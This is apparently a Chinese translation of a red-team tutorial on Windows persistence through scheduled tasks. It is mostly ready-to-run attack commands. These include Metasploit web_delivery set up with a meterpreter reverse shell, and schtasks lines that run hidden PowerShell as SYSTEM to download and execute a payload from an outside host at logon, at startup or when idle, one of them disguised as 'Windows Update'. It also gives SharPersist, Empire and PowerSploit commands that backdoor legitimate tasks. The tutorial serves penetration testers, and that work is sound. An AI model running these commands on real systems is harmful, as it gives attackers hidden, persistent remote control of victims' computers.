Windows操做系统提供了一个实用程序(schtasks.exe),使系统管理员可以在特定的日期和时间执行程序或脚本。这种行为可做为一种持久性机制被red team利用。经过计划任务执行持久性不须要管理员权限,但若是已得到提高的权限,则容许进一步操做,例如在用户登陆期间或在空闲状态期间执行任务。html
计划任务的持久化技术能够手动实现,也能够自动实现。有效负载能够从磁盘或远程位置执行,它们能够是可执行文件、powershell脚本或scriptlet的形式。这被认为是一种旧的持久性技术,可是它仍然能够在red team场景中使用,而且由各类开源工具支持。Metasploit 的web_delivery模块可用于托管和生成各类格式的有效载荷。git
use exploit/multi/script/web_delivery set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.0.2.21
set target 5 exploit
在命令提示符下,“ schtasks ”可执行文件可用于建立计划任务,该任务将在每一个Windows登陆中以SYSTEM的形式下载并执行基于PowerShell的有效负载。github
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
命令提示符--持久性计划任务web
当用户再次使用系统登陆时,将执行有效负载,并打开meterpreter会话。shell
Meterpreter – 持久性计划任务windows
也能够在系统启动期间或用户会话处于非活动状态(空闲模式)时执行。安全
#(X64) - On System Start schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X64) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30 #(X86) - On User Login schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System #(X86) - On System Start schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X86) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
有效负载的执行也能够在特定的时间发生,而且能够具备到期日期和自删除功能。“schtasks”实用程序提供了必要的选项,由于它是其功能的一部分。tcp
schtasks /CREATE /TN "Windows Update" /TR "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU %USERNAME%
持续性–计划任务日期和时间工具
若是为目标事件启用了事件日志记录,则能够在特定的Windows事件中触发任务。b33f在他的网站上演示了此技术。Windows事件命令行实用程序可用于查询事件ID。学习
wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]
查询事件ID
能够建立一个计划任务,该任务将在系统上发生关联的事件ID时执行有效负载。
schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"
持久性–计划任务事件ID
“ 查询 ”参数可用于检索新建立的计划任务的信息。
schtasks /Query /tn OnLogOff /fo List /v
查询计划任务
当用户管理员注销时,将建立事件ID,并在下次登陆时执行有效负载。
计划任务注销– Meterpreter
或者,可使用PowerShell建立计划任务,这些任务将在用户登陆时或在特定时间和日期执行。
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe" $T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab" $S = New-ScheduledTaskSettingsSet $P = New-ScheduledTaskPrincipal "Pentestlab" $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S Register-ScheduledTask Pentestlab -InputObjec $D $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe" $T = New-ScheduledTaskTrigger -Daily -At 9am $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest $S = New-ScheduledTaskSettingsSet $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S Register-ScheduledTask PentestLaboratories -InputObject $D
持久性计划任务– PowerShell
github项目地址:https://github.com/fireeye/SharPersist
经过计划任务在SharPersist中添加了关于持久性的多种功能。若是用户具备管理员级别的特权,则如下命令能够建立一个新的计划任务,该任务将在Windows登陆期间执行。
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m add -o logon
SharPersist –新计划任务登陆
在系统的下一次从新引导中,有效负载将执行,而且Meterpreter会话将打开。
Meterpreter – SharPersist计划任务
SharPersist也可用于列出特定的计划任务,以识别全部者,触发器和要执行的动做。
SharPersist -t schtask -m list -n "PentestLab"
SharPersist –列表计划任务
或者,仅使用“ list ”选项而不指定名称将枚举系统上全部现有的计划任务。
SharPersist -t schtask -m list
SharPersist –列表计划任务
相似于Metasploit Framework功能,该功能具备检查目标是否易受攻击以及漏洞利用可否成功执行的功能,SharPersist具备空运行检查。经过检查名称和提供的参数,此功能可用于验证调度任务命令。
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check
SharPersist –检查计划任务
SharPersist还能够枚举登陆期间将执行的全部计划任务。此命令可用于主机的态势感知期间,并肯定是否存在能够修改以运行有效负载而不是建立新任务的现有计划任务。
SharPersist -t schtaskbackdoor -m list -o logon
SharPersist –列出登陆计划任务
该schtaskbackdoor功能与检查相结合的参数能够识别,若是一个特定的计划任务已后门。
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check
SharPersist –检查后门计划任务
“ Add ”参数将后门现有的计划任务,该任务将执行恶意命令,而不是执行更隐蔽的持久性选项来执行合法动做。
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "ReconcileLanguageResources" -m add
SharPersist –后门计划任务
Empire根据活动代理的特权包含两个模块,这些模块可用于实施计划任务的持久性技术。如下配置天天凌晨03:22将执行基于PowerShell的有效负载。有效负载存储在注册表项中,任务名称为“ WindowsUpdate ”,以便区分合法的计划任务。
usemodule persistence/userland/schtasks set Listener http set TaskName WindowsUpdate set DailyTime 03:22 execute
Empire – 持久性计划任务
计划任务的提高模块提供了在用户登陆期间执行有效负载的选项。在这两个模块中,都将使用注册表以Base64编码格式存储有效负载,可是以不一样的注册表项存储。
usemodule persistence/elevated/schtasks*
set Listener http
Empire Elevated – 持久性计划任务
PowerSploit的持久性模块支持各类功能,可用于向脚本或脚本块添加持久性功能。在添加持久性以前,须要配置高架选项和用户选项。
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -Hourly $UserOptions = New-UserPersistenceOption -ScheduledTask -Hourly Add-Persistence -FilePath C:\temp\empire.exe -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions
PowerSploit –计划任务
译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。
原文地址:https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/